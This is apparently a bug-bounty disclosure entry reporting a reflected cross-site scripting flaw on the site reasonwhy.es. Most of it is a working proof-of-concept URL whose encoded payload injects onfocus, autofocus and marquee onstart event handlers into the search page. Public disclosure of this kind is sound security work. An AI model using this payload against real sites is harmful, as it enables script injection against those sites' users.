reasonwhy.es XSS vulnerability

Vulnerable URL: https://www.reasonwhy.es/busqueda-contenido?submit=Buscar=aaaaa%22+onfocus%3Dprompt%2FOPENBUGBOUNTY%2F+autofocus%3Dx+bad%3D%22%3Eaa%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Cmarquee+onstart%3Dprompt%2FOPENBUGBOUNTY%2F%3Edemonium%3C%2Ftag%3E Details: Description| Value ---|--- Patched:|...